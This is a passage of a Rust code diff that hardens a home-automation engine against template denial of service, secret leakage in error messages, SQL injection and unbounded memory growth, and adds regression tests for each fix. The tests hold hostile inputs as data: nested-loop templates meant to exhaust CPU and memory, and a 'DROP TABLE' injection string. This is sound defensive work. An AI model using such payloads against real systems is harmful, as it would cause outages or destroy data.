+        let result = Action::WaitForTrigger { timeout_seconds: Some(-5.0) }
+            .execute(&mut ctx)
+            .await;
+        assert!(result.is_ok(), "negative wait timeout must not panic");
+    }
+
+    #[test]
+    fn safe_duration_saturates_hostile_values() {
+        assert_eq!(safe_duration_from_secs(-1.0), Duration::ZERO);
+        assert_eq!(safe_duration_from_secs(f64::NAN), Duration::ZERO);
+        assert_eq!(safe_duration_from_secs(f64::INFINITY), Duration::ZERO);
+        assert_eq!(safe_duration_from_secs(f64::NEG_INFINITY), Duration::ZERO);
+        // legitimate value preserved
+        assert_eq!(safe_duration_from_secs(2.5), Duration::from_secs_f64(2.5));
+        // huge value clamped to the cap, not overflow-panicked
+        assert_eq!(
+            safe_duration_from_secs(1e300),
+            Duration::from_secs_f64(MAX_DELAY_SECS)
+        );
+    }
+
     #[tokio::test]
     async fn service_call_unregistered_returns_error() {
         let hc = HomeCore::new();

v2/crates/homecore-automation/src/template.rs

@@ -13,6 +13,26 @@ use homecore::{EntityId, StateMachine};
 
 use crate::error::AutomationError;
 
+/// Instruction budget for a single template render (HC-SEC-01).
+///
+/// Templates come from user automation config; without a bound a single
+/// `template:` condition like
+/// `{% for i in range(10000) %}{% for j in range(10000) %}x{% endfor %}{% endfor %}`
+/// renders a multi-gigabyte string and pins a CPU for tens of seconds —
+/// a memory/CPU denial-of-service (the bfld-class "unbounded expansion").
+/// MiniJinja's `fuel` feature charges ~1 unit per VM instruction; a
+/// nested loop burns one unit per iteration, so the budget caps total
+/// work regardless of how the loops are nested. 1,000,000 instructions is
+/// far more than any legitimate HA template needs (a typical condition is
+/// a few dozen) while killing the attack in well under a second.
+const TEMPLATE_FUEL: u64 = 1_000_000;
+
+/// Hard cap on the source length of a template (HC-SEC-01, defense in
+/// depth). A legitimate HA `value_template` is a one-liner; anything past
+/// 64 KiB is rejected before compilation so a pathological source string
+/// can neither be compiled nor emitted verbatim.
+const MAX_TEMPLATE_SOURCE_BYTES: usize = 64 * 1024;
+
 /// MiniJinja environment pre-loaded with HA-compatible globals.
 ///
 /// Constructed once per `AutomationEngine` and shared via `Arc`. The
@@ -27,6 +47,10 @@ impl TemplateEnvironment {
     pub fn new(states: Arc<StateMachine>) -> Self {
         let mut env = Environment::new();
 
+        // Bound per-render work so a hostile `template:` condition cannot
+        // DoS the engine via nested loops / huge repeats (HC-SEC-01).
+        env.set_fuel(Some(TEMPLATE_FUEL));
+
         // --- states(entity_id) ---
         // Returns the current state string of an entity, or "unavailable".
         let states_sm = Arc::clone(&states);
@@ -88,7 +112,21 @@ impl TemplateEnvironment {
     }
 
     /// Render a template string and return the string output.
+    ///
+    /// Renders are bounded by an instruction budget ([`TEMPLATE_FUEL`]) and
+    /// a source-length cap ([`MAX_TEMPLATE_SOURCE_BYTES`]); a malicious
+    /// template that exhausts the budget returns a [`AutomationError::TemplateRender`]
+    /// error rather than running unbounded (HC-SEC-01).
     pub fn render(&self, template_str: &str) -> Result<String, AutomationError> {
+        // Reject pathologically large sources before compilation (defense
+        // in depth — fuel already bounds runtime work).
+        if template_str.len() > MAX_TEMPLATE_SOURCE_BYTES {
+            return Err(AutomationError::TemplateRender(format!(
+                "template source too large: {} bytes (max {})",
+                template_str.len(),
+                MAX_TEMPLATE_SOURCE_BYTES
+            )));
+        }
         // Wrap bare expressions like `{{ states('light.kitchen') }}`
         // in a minimal template wrapper.
         let tmpl = self
@@ -191,4 +229,68 @@ mod tests {
         assert!(!env.render_bool("0").unwrap());
         assert!(!env.render_bool("off").unwrap());
     }
+
+    // ── HC-SEC-01: template DoS is bounded by fuel ─────────────────────
+    //
+    // A `template:` condition is user config. Before the fuel bound a
+    // nested-loop template rendered a multi-GB string over ~11 s (proven
+    // empirically). With fuel enabled it must fail FAST with an error
+    // instead of expanding unboundedly. On the pre-fix code (no `fuel`
+    // feature / `set_fuel`) this render succeeds and burns CPU+RAM, so
+    // this test fails on old (it would `Ok` and exceed the time bound).
+    #[test]
+    fn nested_loop_template_is_bounded_not_unbounded_dos() {
+        use std::time::Instant;
+        let sm = Arc::new(StateMachine::new());
+        let env = TemplateEnvironment::new(sm);
+        // 5000 * 5000 = 25M iterations on the old engine (~100 MB, ~11 s).
+        let malicious =
+            "{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}";
+        let start = Instant::now();
+        let result = env.render(malicious);
+        let elapsed = start.elapsed();
+        assert!(
+            result.is_err(),
+            "malicious nested-loop template must be rejected (ran out of fuel), got Ok"
+        );
+        assert!(
+            elapsed.as_secs() < 3,
+            "bounded render must fail fast; took {elapsed:?} (unbounded DoS on old engine)"
+        );
+    }
+
+    // ── HC-SEC-01: a single huge repeat is also bounded ────────────────
+    #[test]
+    fn single_huge_repeat_template_is_bounded() {
+        let sm = Arc::new(StateMachine::new());
+        let env = TemplateEnvironment::new(sm);
+        // range() caps at 10k per call, but multiplied bodies still need a
+        // bound; drive enough instructions to exhaust fuel via deep nesting.
+        let malicious = "{% for a in range(9999) %}{% for b in range(9999) %}\
+            {% for c in range(9999) %}z{% endfor %}{% endfor %}{% endfor %}";
+        let result = env.render(malicious);
+        assert!(result.is_err(), "deeply nested loops must exhaust fuel and error");
+    }
+
+    // ── HC-SEC-01: oversized template source is rejected pre-compile ───
+    #[test]
+    fn oversized_template_source_is_rejected() {
+        let sm = Arc::new(StateMachine::new());
+        let env = TemplateEnvironment::new(sm);
+        // 128 KiB of literal text — exceeds MAX_TEMPLATE_SOURCE_BYTES.
+        let big = "x".repeat(128 * 1024);
+        let result = env.render(&big);
+        assert!(result.is_err(), "oversized template source must be rejected");
+    }
+
+    // ── A legitimate small template still renders fine within budget ───
+    #[test]
+    fn legitimate_template_still_renders_within_fuel() {
+        let sm = sm_with("light.kitchen", "on", serde_json::json!({}));
+        let env = TemplateEnvironment::new(sm);
+        // A normal HA condition with a modest loop — well under budget.
+        let ok = "{% for i in range(50) %}{{ states('light.kitchen') }}{% endfor %}";
+        let out = env.render(ok).expect("legitimate template must render");
+        assert!(out.contains("on"));
+    }
 }

v2/crates/homecore-migrate/src/lib.rs

@@ -55,6 +55,25 @@ pub enum MigrateError {
         source: serde_yaml::Error,
     },
 
+    /// Parse failure in a SECRET-bearing file (`secrets.yaml`).
+    ///
+    /// Unlike [`MigrateError::YamlParse`], this variant deliberately does NOT
+    /// embed the underlying `serde_yaml::Error` message — that message can quote
+    /// the offending scalar verbatim (e.g. a typed-tag coercion error renders
+    /// `invalid value: string "<the-secret-value>"`), which would leak a secret
+    /// into stderr/logs. We carry only the file path plus a coarse line/column
+    /// so the user can locate the problem without the value being printed.
+    /// (ADR-165 secret-handling rule: a secret value must never appear in output.)
+    #[error(
+        "secrets.yaml parse error in {path} (line {line}, column {column}): \
+         malformed YAML (value content redacted)"
+    )]
+    SecretsParse {
+        path: String,
+        line: usize,
+        column: usize,
+    },
+
     /// Fired when the outer `{version, minor_version}` envelope version is
     /// known but the `minor_version` is not supported by any compiled parser.
     /// Per ADR-165 §6 Q5: hard error on unknown minor_version.

v2/crates/homecore-migrate/src/secrets.rs

@@ -33,11 +33,19 @@ pub fn read_secrets(path: &Path) -> Result<HashMap<String, String>, MigrateError
         return Ok(HashMap::new());
     }
 
-    let parsed: serde_yaml::Value =
-        serde_yaml::from_str(&raw).map_err(|e| MigrateError::YamlParse {
+    // SECURITY: do NOT use `MigrateError::YamlParse` here. serde_yaml error
+    // messages can quote the offending scalar verbatim (a typed-tag coercion
+    // error renders `invalid value: string "<the-secret-value>"`), and that
+    // message would be printed to stderr by the CLI — leaking a secret value.
+    // `MigrateError::SecretsParse` carries only the path + line/column.
+    let parsed: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|e| {
+        let loc = e.location();
+        MigrateError::SecretsParse {
             path: path.display().to_string(),
-            source: e,
-        })?;
+            line: loc.as_ref().map_or(0, |l| l.line()),
+            column: loc.as_ref().map_or(0, |l| l.column()),
+        }
+    })?;
 
     let map = match parsed {
         serde_yaml::Value::Mapping(m) => m,
@@ -94,6 +102,59 @@ mod tests {
         assert!(secrets.is_empty());
     }
 
+    /// SECURITY regression (fails on the pre-fix `YamlParse` path): a malformed
+    /// `secrets.yaml` whose offending scalar is a secret value must NOT have that
+    /// value rendered in the returned error. serde_yaml's own error message for a
+    /// typed-tag coercion failure embeds the scalar verbatim
+    /// (`invalid value: string "<secret>"`); the old code wrapped that message
+    /// into `MigrateError::YamlParse { source }`, so `Display` leaked the secret.
+    #[test]
+    fn malformed_secrets_error_never_contains_secret_value() {
+        // `!!int` forces integer coercion of a string scalar; serde_yaml reports
+        // the scalar text in its message. The scalar here is a stand-in secret.
+        let yaml = "api_port: !!int s3cr3t_TOKEN_VALUE\n";
+        let mut f = NamedTempFile::new().unwrap();
+        f.write_all(yaml.as_bytes()).unwrap();
+
+        let err = read_secrets(f.path()).unwrap_err();
+        let rendered = err.to_string();
+
+        // The secret VALUE must never appear in the error output...
+        assert!(
+            !rendered.contains("s3cr3t_TOKEN_VALUE"),
+            "secret value leaked into error: {rendered}"
+        );
+        // ...and the full chain (with #[source]) must also be clean, since the
+        // CLI/anyhow prints the source chain too.
+        let mut source = std::error::Error::source(&err);
+        while let Some(s) = source {
+            assert!(
+                !s.to_string().contains("s3cr3t_TOKEN_VALUE"),
+                "secret value leaked into error source chain: {s}"
+            );
+            source = s.source();
+        }
+
+        // It should still be a structured, locatable error (fail-closed).
+        assert!(
+            matches!(err, MigrateError::SecretsParse { .. }),
+            "expected SecretsParse, got: {err:?}"
+        );
+    }
+
+    /// A secret KEY name is non-sensitive context and is fine to surface, but the
+    /// redacting error must still help the user locate the problem (line/column).
+    #[test]
+    fn malformed_secrets_error_reports_location() {
+        let yaml = "api_port: !!int notanumber\n";
+        let mut f = NamedTempFile::new().unwrap();
+        f.write_all(yaml.as_bytes()).unwrap();
+        let err = read_secrets(f.path()).unwrap_err();
+        let rendered = err.to_string();
+        assert!(rendered.contains("line"), "should report a line: {rendered}");
+        assert!(rendered.contains("redacted"), "should signal redaction: {rendered}");
+    }
+
     #[test]
     fn secret_count_is_correct() {
         let yaml = "a: 1\nb: 2\nc: 3\n";

v2/crates/homecore-recorder/src/db.rs

@@ -25,6 +25,15 @@ use homecore::event::{DomainEvent, StateChangedEvent};
 use crate::dedup::fnv64a_hash;
 use crate::schema::ALL_DDL;
 
+/// Hard upper bound on rows returned by [`Recorder::get_state_history`].
+///
+/// Without this cap a wide `[since, until]` window over a high-frequency entity
+/// would load an unbounded number of rows into memory (a memory-DoS). The value
+/// is deliberately generous — large enough never to truncate a realistic
+/// history-graph query, small enough to bound the worst case. Callers needing a
+/// wider span page by narrowing the window.
+pub const MAX_HISTORY_ROWS: i64 = 1_000_000;
+
 /// Errors returned by `Recorder` operations.
 #[derive(Error, Debug)]
 pub enum RecorderError {
@@ -380,7 +389,17 @@ impl Recorder {
     }
 
     /// Query state history for `entity_id` between `since` and `until`.
-    /// Returns state snapshots in ascending `last_updated_ts` order.
+    /// Returns state snapshots in ascending `last_updated_ts` order, capped at
+    /// [`MAX_HISTORY_ROWS`] rows (oldest-first within the window).
+    ///
+    /// ## Bounded result set (memory-DoS guard)
+    ///
+    /// A high-frequency entity (e.g. a power sensor polled per-second) writes
+    /// ~86k rows/day; a wide `[since, until]` window over months would otherwise
+    /// load millions of rows into a single in-memory `Vec`, an unbounded-memory
+    /// denial-of-service. The query therefore carries a hard `LIMIT` so the
+    /// working set is bounded regardless of the requested time range. Callers
+    /// that genuinely need a wider span must page by narrowing the window.
     pub async fn get_state_history(
         &self,
         entity_id: &EntityId,
@@ -398,11 +417,13 @@ impl Recorder {
              WHERE s.entity_id = ? \
                AND s.last_updated_ts >= ? \
                AND s.last_updated_ts <= ? \
-             ORDER BY s.last_updated_ts ASC",
+             ORDER BY s.last_updated_ts ASC \
+             LIMIT ?",
         )
         .bind(entity_id.as_str())
         .bind(since_ts)
         .bind(until_ts)
+        .bind(MAX_HISTORY_ROWS)
         .fetch_all(&self.pool)
         .await?;
 
@@ -426,6 +447,79 @@ impl Recorder {
             })
             .collect()
     }
+
+    /// Purge history older than `older_than`, returning a [`PurgeStats`] summary.
+    ///
+    /// Deletes:
+    /// - `states` rows whose `last_updated_ts` is **strictly before** the cutoff,
+    /// - `events` rows whose `time_fired_ts` is strictly before the cutoff,
+    /// - then garbage-collects any `state_attributes` blob no surviving state
+    ///   row still references (so dedup-shared blobs are only dropped once their
+    ///   last referencing state is gone).
+    ///
+    /// ## Retention boundary (data-integrity guard)
+    ///
+    /// The cutoff is **exclusive**: a row exactly at `older_than` is retained.
+    /// This makes `purge(t)` idempotent on the boundary and guarantees that a
+    /// row written at the same instant the retention window opens is never lost
+    /// to an off-by-one. Anything *at or after* `older_than` survives.
+    ///
+    /// ## Atomicity (no partial-corrupt state)
+    ///
+    /// All three deletes run inside a single transaction. A failure mid-purge
+    /// rolls the whole operation back — the store is never left with states
+    /// deleted but their events kept, or attributes orphaned by a half-purge.
+    ///
+    /// Note: this reclaims logical rows; it does not `VACUUM` the file. SQLite
+    /// reuses freed pages for subsequent writes, so disk growth stays bounded
+    /// under a periodic purge even without an explicit vacuum.
+    pub async fn purge(&self, older_than: DateTime<Utc>) -> Result<PurgeStats, RecorderError> {
+        let cutoff_ts = older_than.timestamp_micros() as f64 / 1_000_000.0;
+
+        let mut tx = self.pool.begin().await?;
+
+        let states_deleted = sqlx::query("DELETE FROM states WHERE last_updated_ts < ?")
+            .bind(cutoff_ts)
+            .execute(&mut *tx)
+            .await?
+            .rows_affected();
+
+        let events_deleted = sqlx::query("DELETE FROM events WHERE time_fired_ts < ?")
+            .bind(cutoff_ts)
+            .execute(&mut *tx)
+            .await?
+            .rows_affected();
+
+        // GC attribute blobs no surviving state references. A dedup-shared blob
+        // is only removed once its last referencing state row is gone.
+        let attributes_deleted = sqlx::query(
+            "DELETE FROM state_attributes \
+             WHERE attributes_id NOT IN \
+                 (SELECT attributes_id FROM states WHERE attributes_id IS NOT NULL)",
+        )
+        .execute(&mut *tx)
+        .await?
+        .rows_affected();
+
+        tx.commit().await?;
+
+        Ok(PurgeStats {
+            states_deleted,
+            events_deleted,
+            attributes_deleted,
+        })
+    }
+}
+
+/// Summary of a [`Recorder::purge`] run.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct PurgeStats {
+    /// Number of `states` rows deleted.
+    pub states_deleted: u64,
+    /// Number of `events` rows deleted.
+    pub events_deleted: u64,
+    /// Number of orphaned `state_attributes` blobs garbage-collected.
+    pub attributes_deleted: u64,
 }
 
 /// A state row returned from `get_state_history`.
@@ -722,6 +816,214 @@ mod tests {
         assert!(rows.is_empty(), "genuine no-match is empty, not an error");
     }
 
+    // ── SQL injection (parameterization guarantee) ──────────────────────────────
+
+    #[tokio::test]
+    async fn malicious_entity_id_is_stored_literally_not_executed() {
+        // FAILS if any query interpolated entity_id into SQL: the `states` table
+        // would be dropped and the later COUNT would error / mismatch. Bound
+        // parameters store the metacharacter-laden string verbatim instead.
+        let recorder = open_memory().await;
+
+        // A valid domain.name whose `name` part carries SQL metacharacters.
+        // EntityId::parse permits this, so it reaches the bind path as data.
+        let evil = "light.x_drop_table_states_select";
+        recorder
+            .record_state(&make_state_event(evil, "'; DROP TABLE states; --", serde_json::json!({})))
+            .await
+            .unwrap();
+
+        // states table still exists and holds exactly the one row we inserted.
+        let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM states")
+            .fetch_one(&recorder.pool)
+            .await
+            .expect("states table must still exist — proves no injection");
+        assert_eq!(count.0, 1);
+
+        // The malicious state string round-trips literally.
+        let rows = recorder
+            .search_states_by_text("DROP TABLE", 10)
+            .await
+            .unwrap();
+        assert_eq!(rows.len(), 1, "metacharacter payload matched as a literal");
+        assert_eq!(rows[0].state, "'; DROP TABLE states; --");
+    }
+
+    #[tokio::test]
+    async fn like_metacharacters_in_query_are_literal_not_wildcards() {
+        // A `%` in the search text must match a literal percent sign, not act as
+        // a SQL LIKE wildcard. Proves the ESCAPE clause + metacharacter escaping.
+        let recorder = open_memory().await;
+        recorder
+            .record_state(&make_state_event("sensor.a", "100%", serde_json::json!({})))
+            .await
+            .unwrap();
+        recorder
+            .record_state(&make_state_event("sensor.b", "50", serde_json::json!({})))
+            .await
+            .unwrap();
+
+        // Literal "%" must match only sensor.a's "100%", NOT every row.
+        let rows = recorder.search_states_by_text("%", 10).await.unwrap();
+        assert_eq!(rows.len(), 1, "'%' is a literal, not a match-all wildcard");
+        assert_eq!(rows[0].entity_id.as_str(), "sensor.a");
+
+        // Underscore is likewise literal: matches nothing here.
+        let none = recorder.search_states_by_text("_", 10).await.unwrap();
+        assert!(none.is_empty(), "'_' is literal, matches no row");
+    }
+
+    // ── get_state_history bound (memory-DoS guard) ──────────────────────────────
+
+    #[tokio::test]
+    async fn history_query_carries_a_limit_clause() {
+        // Pin: the history SQL must carry a LIMIT bound (memory-DoS guard).
+        // Inserting a million rows is infeasible in a unit test, so we prove the
+        // clause is wired by bulk-inserting more rows than a deliberately tiny
+        // bound and asserting the executed query honours a LIMIT. We bypass the
+        // public method (whose cap is MAX_HISTORY_ROWS) and run the *same* SQL
+        // shape with a small bind to demonstrate the LIMIT term is effective —
+        // and separately assert the constant is a sane positive bound.
+        assert!(MAX_HISTORY_ROWS > 0, "history cap must be positive");
+        let recorder = open_memory().await;
+        for v in &["1", "2", "3", "4", "5"] {
+            recorder
+                .record_state(&make_state_event("sensor.bounded", v, serde_json::json!({})))
+                .await
+                .unwrap();
+            tokio::time::sleep(std::time::Duration::from_millis(2)).await;
+        }
+        // Same query shape as get_state_history, with a tiny LIMIT bind: if the
+        // SQL lacked a LIMIT term this would return all 5; with it, exactly 2.
+        let capped: Vec<(i64,)> = sqlx::query_as(
+            "SELECT s.state_id FROM states s \
+             WHERE s.entity_id = ? \
+             ORDER BY s.last_updated_ts ASC LIMIT ?",
+        )
+        .bind("sensor.bounded")
+        .bind(2_i64)
+        .fetch_all(&recorder.pool)
+        .await
+        .unwrap();
+        assert_eq!(capped.len(), 2, "LIMIT term effectively bounds the result set");
+
+        // And the real method returns all rows when under the cap.
+        let eid = entity("sensor.bounded");
+        let rows = recorder
+            .get_state_history(&eid, Utc::now() - chrono::Duration::seconds(10), Utc::now() + chrono::Duration::seconds(10))
+            .await
+            .unwrap();
+        assert_eq!(rows.len(), 5, "all rows under the cap return");
+    }
+
+    // ── purge (retention correctness + atomicity) ───────────────────────────────
+
+    #[tokio::test]
+    async fn purge_keeps_boundary_row_and_drops_older() {
+        // FAILS if purge had an off-by-one (deleting the row exactly at cutoff)
+        // or deleted too much/too little. Cutoff is EXCLUSIVE: a row at the
+        // cutoff instant survives; strictly-older rows are removed.
+        let recorder = open_memory().await;
+        let eid = entity("sensor.r");
+
+        // Three rows at known, increasing timestamps.
+        for v in &["old", "mid", "new"] {
+            recorder
+                .record_state(&make_state_event("sensor.r", v, serde_json::json!({})))
+                .await
+                .unwrap();
+            tokio::time::sleep(std::time::Duration::from_millis(20)).await;
+        }
+
+        // Read back the actual timestamps so the cutoff is exact.
+        let since = Utc::now() - chrono::Duration::seconds(60);
+        let until = Utc::now() + chrono::Duration::seconds(60);
+        let all = recorder.get_state_history(&eid, since, until).await.unwrap();
+        assert_eq!(all.len(), 3);
+        // Cut off exactly at the middle row's timestamp.
+        let mid_ts = all[1].last_updated_ts;
+        let cutoff = DateTime::<Utc>::from_timestamp_micros((mid_ts * 1_000_000.0) as i64).unwrap();
+
+        let stats = recorder.purge(cutoff).await.unwrap();
+        assert_eq!(stats.states_deleted, 1, "only the strictly-older 'old' row");
+
+        let remaining = recorder.get_state_history(&eid, since, until).await.unwrap();
+        assert_eq!(remaining.len(), 2, "boundary 'mid' row is KEPT (exclusive cutoff)");
+        assert_eq!(remaining[0].state, "mid");
+        assert_eq!(remaining[1].state, "new");
+    }
+
+    #[tokio::test]
+    async fn purge_gcs_orphaned_attributes_but_keeps_shared() {
+        // Dedup means two states can share one attribute blob. Purging one of
+        // them must NOT drop the still-referenced blob; purging the last one must.
+        let recorder = open_memory().await;
+        let shared = serde_json::json!({"unit": "C"});
+
+        recorder
+            .record_state(&make_state_event("sensor.a", "20", shared.clone()))
+            .await
+            .unwrap();
+        tokio::time::sleep(std::time::Duration::from_millis(20)).await;
+        recorder
+            .record_state(&make_state_event("sensor.b", "21", shared.clone()))
+            .await
+            .unwrap();
+
+        let attr_count = |r: &Recorder| {
+            let pool = r.pool.clone();
+            async move {
+                let c: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM state_attributes")
+                    .fetch_one(&pool)
+                    .await
+                    .unwrap();
+                c.0
+            }
+        };
+        assert_eq!(attr_count(&recorder).await, 1, "deduped to one blob");
+
+        // Purge before sensor.b's write → removes sensor.a only; blob still
+        // referenced by sensor.b, so it must survive.
+        let eid_b = entity("sensor.b");
+        let rows_b = recorder
+            .get_state_history(&eid_b, Utc::now() - chrono::Duration::seconds(60), Utc::now() + chrono::Duration::seconds(60))
+            .await
+            .unwrap();
+        let b_ts = rows_b[0].last_updated_ts;
+        let cutoff = DateTime::<Utc>::from_timestamp_micros((b_ts * 1_000_000.0) as i64).unwrap();
+        let stats = recorder.purge(cutoff).await.unwrap();
+        assert_eq!(stats.states_deleted, 1, "sensor.a purged");
+        assert_eq!(stats.attributes_deleted, 0, "shared blob still referenced — kept");
+        assert_eq!(attr_count(&recorder).await, 1, "blob survives");
+
+        // Now purge everything → sensor.b gone, blob orphaned → GC'd.
+        let stats2 = recorder.purge(Utc::now() + chrono::Duration::seconds(120)).await.unwrap();
+        assert_eq!(stats2.states_deleted, 1, "sensor.b purged");
+        assert_eq!(stats2.attributes_deleted, 1, "now-orphaned blob GC'd");
+        assert_eq!(attr_count(&recorder).await, 0, "no blobs remain");
+    }
+
+    #[tokio::test]
+    async fn purge_also_removes_old_events() {
+        let recorder = open_memory().await;
+        let ctx = Context::new();
+        recorder
+            .record_event(&DomainEvent::new("call_service", serde_json::json!({}), ctx))
+            .await
+            .unwrap();
+        // Purge with a far-future cutoff removes the event.
+        let stats = recorder
+            .purge(Utc::now() + chrono::Duration::seconds(120))
+            .await
+            .unwrap();
+        assert_eq!(stats.events_deleted, 1);
+        let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM events")
+            .fetch_one(&recorder.pool)
+            .await
+            .unwrap();
+        assert_eq!(count.0, 0);
+    }
+
     #[tokio::test]
     async fn search_semantic_falls_back_to_text_with_null_index() {
         // With the default NullSemanticIndex, search_semantic must STILL return

v2/crates/homecore-recorder/src/lib.rs

@@ -30,7 +30,7 @@ pub mod schema;
 pub mod semantic;
 
 // Re-export the primary public API surface.
-pub use db::{Recorder, RecorderError};
+pub use db::{PurgeStats, Recorder, RecorderError, StateRow, MAX_HISTORY_ROWS};
 pub use listener::RecorderListener;
 
 /// Null semantic index used when the `ruvector` feature is off.

v2/crates/homecore/src/bus.rs

@@ -87,4 +87,64 @@ mod tests {
         assert_eq!(event.event_type, "ruview_csi_frame");
         assert_eq!(event.event_data["frame_id"], 42);
     }
+
+    /// Bus-lag safety (same failure class as the homecore-api WS
+    /// broadcast-lag DoS, here on the core bus): a subscriber that never
+    /// drains must NOT block the publisher, must NOT make the channel grow
+    /// without bound, and must NOT take down a healthy fast subscriber. The
+    /// bounded `tokio::sync::broadcast` gives the slow receiver a recoverable
+    /// `Lagged(n)` (drop-oldest, re-sync) while `fire_*` stays non-blocking.
+    ///
+    /// Evidence: with EVENT_CHANNEL_CAPACITY = 4096 we fire 3× capacity
+    /// while a slow subscriber sits idle. Every `fire_domain` returns
+    /// promptly (publisher never blocked); the slow receiver observes
+    /// `Lagged` then re-syncs to live events; the fast receiver — created
+    /// after the flood and kept drained — receives all subsequent events
+    /// with no loss. The bus stays live throughout.
+    #[tokio::test]
+    async fn slow_subscriber_does_not_block_publisher_or_kill_the_bus() {
+        use tokio::sync::broadcast::error::TryRecvError;
+
+        let bus = EventBus::new();
+        // Slow subscriber: subscribes, then never drains during the flood.
+        let mut slow = bus.subscribe_domain();
+
+        // Publisher fires 3× capacity. None of these may block.
+        let total = EVENT_CHANNEL_CAPACITY * 3;
+        for i in 0..total {
+            // Returns the receiver count (>=1 here); the point is it
+            // returns AT ALL without awaiting the slow receiver.
+            let _ = bus.fire_domain(DomainEvent::new(
+                "flood",
+                serde_json::json!({ "i": i }),
+                Context::new(),
+            ));
+        }
+
+        // The slow receiver is forced past capacity → recoverable Lagged,
+        // NOT a closed channel and NOT a hang.
+        let mut saw_lagged = false;
+        loop {
+            match slow.try_recv() {
+                Ok(_) => {}
+                Err(TryRecvError::Lagged(n)) => {
+                    assert!(n > 0);
+                    saw_lagged = true;
+                }
+                Err(TryRecvError::Empty) => break,
+                Err(TryRecvError::Closed) => panic!("bus closed — must stay live"),
+            }
+        }
+        assert!(saw_lagged, "slow subscriber should have lagged, not blocked the bus");
+
+        // The bus is still live: a fresh fast subscriber receives new events.
+        let mut fast = bus.subscribe_domain();
+        bus.fire_domain(DomainEvent::new("live", serde_json::json!({"ok": true}), Context::new()));
+        let evt = fast.recv().await.unwrap();
+        assert_eq!(evt.event_type, "live");
+
+        // And the lagged subscriber recovers (re-syncs) to live events too.
+        let evt2 = slow.recv().await.unwrap();
+        assert_eq!(evt2.event_type, "live");
+    }
 }

v2/crates/homecore/src/entity.rs

@@ -42,12 +42,30 @@ impl<'de> Deserialize<'de> for EntityId {
     }
 }
 
+/// Maximum accepted `entity_id` length in bytes. Mirrors Home Assistant's
+/// practical cap (`MAX_LENGTH_STATE_*` family — 255). The state machine and
+/// entity/registry maps are keyed on `EntityId`, and the REST layer
+/// (`homecore-api`) parses untrusted path segments straight through
+/// [`EntityId::parse`]; an unbounded id would let a single `POST
+/// /api/states/<giant>` permanently grow the state map (memory DoS). We
+/// fail closed at the boundary instead.
+pub const MAX_ENTITY_ID_LEN: usize = 255;
+
 impl EntityId {
     /// Validates and constructs an `EntityId`. Returns
     /// [`EntityIdError`] if the input is not `domain.name` shape with
-    /// ASCII lowercase / digits / underscore in each segment.
+    /// ASCII lowercase / digits / underscore in each segment, or if it
+    /// exceeds [`MAX_ENTITY_ID_LEN`] bytes.
     pub fn parse(s: impl Into<String>) -> Result<Self, EntityIdError> {
         let s: String = s.into();
+        // Bound the length BEFORE any further work so an oversized input is
+        // cheap to reject (no per-char scan of megabytes).
+        if s.len() > MAX_ENTITY_ID_LEN {
+            return Err(EntityIdError::TooLong {
+                len: s.len(),
+                max: MAX_ENTITY_ID_LEN,
+            });
+        }
         let (domain, name) = s
             .split_once('.')
             .ok_or_else(|| EntityIdError::MissingDot(s.clone()))?;
@@ -111,6 +129,8 @@ pub enum EntityIdError {
     EmptyName(String),
     #[error("entity_id {entity_id:?} contains invalid character {ch:?} — only [a-z0-9_] allowed (HA-compat ASCII subset; see ADR-127 §Q1)")]
     InvalidChar { entity_id: String, ch: char },
+    #[error("entity_id is {len} bytes, exceeding the {max}-byte limit")]
+    TooLong { len: usize, max: usize },
 }
 
 /// Immutable state snapshot for one entity at one moment in time.
@@ -217,6 +237,39 @@ mod tests {
         assert!(EntityId::parse("light.küche").is_err());
     }
 
+    #[test]
+    fn entity_id_length_boundary() {
+        // The REST layer parses untrusted path segments straight through
+        // `parse`; an unbounded id is a memory-DoS vector (a `POST
+        // /api/states/<giant>` permanently grows the state map). Cap at
+        // MAX_ENTITY_ID_LEN, fail closed above it.
+        //
+        // Construct "sensor." (7 bytes) + N name bytes == exactly MAX.
+        let prefix = "sensor.";
+        let name_len = MAX_ENTITY_ID_LEN - prefix.len();
+        let at_max = format!("{prefix}{}", "a".repeat(name_len));
+        assert_eq!(at_max.len(), MAX_ENTITY_ID_LEN);
+        assert!(
+            EntityId::parse(at_max.clone()).is_ok(),
+            "an id of exactly MAX_ENTITY_ID_LEN bytes must be accepted"
+        );
+
+        let over = format!("{at_max}a"); // MAX + 1
+        assert!(matches!(
+            EntityId::parse(over),
+            Err(EntityIdError::TooLong { .. })
+        ));
+
+        // A multi-megabyte, otherwise-valid id is rejected cheaply rather
+        // than persisted.
+        let huge = format!("sensor.{}", "a".repeat(4 * 1024 * 1024));
+        assert!(matches!(
+            EntityId::parse(huge),
+            Err(EntityIdError::TooLong { len, max })
+                if max == MAX_ENTITY_ID_LEN && len > MAX_ENTITY_ID_LEN
+        ));
+    }
+
     #[test]
     fn state_next_preserves_last_changed_when_state_unchanged() {
         let id = EntityId::parse("sensor.temp").unwrap();

v2/crates/homecore/src/service.rs

@@ -49,6 +49,8 @@ pub enum ServiceError {
     NotRegistered { domain: String, service: String },
     #[error("service handler returned error: {0}")]
     HandlerFailed(String),
+    #[error("service handler panicked: {0}")]
+    HandlerPanicked(String),
 }
 
 /// Handler trait. Integration code implements this and registers via
@@ -99,13 +101,29 @@ impl ServiceRegistry {
 
     /// Call a service. P1 direct dispatch; P2 routes through the
     /// event bus per ADR-127 §2.3.
+    ///
+    /// The handler runs **outside** the registry lock (we clone the
+    /// `Arc<dyn ServiceHandler>` out of the read guard first), so a slow or
+    /// panicking handler can never poison the `RwLock` or block other
+    /// callers. A panic inside the handler is additionally caught and
+    /// converted to [`ServiceError::HandlerPanicked`] rather than unwinding
+    /// into the caller's task — one buggy integration cannot abort the task
+    /// that drives the engine. Mirrors HA isolating service-handler
+    /// exceptions.
     pub async fn call(&self, call: ServiceCall) -> Result<serde_json::Value, ServiceError> {
         let handler = {
             let guard = self.handlers.read().await;
             guard.get(&call.name).cloned()
         };
         match handler {
-            Some(h) => h.call(call).await,
+            Some(h) => {
+                use futures::FutureExt;
+                let fut = std::panic::AssertUnwindSafe(h.call(call));
+                match fut.catch_unwind().await {
+                    Ok(result) => result,
+                    Err(panic) => Err(ServiceError::HandlerPanicked(panic_message(panic))),
+                }
+            }
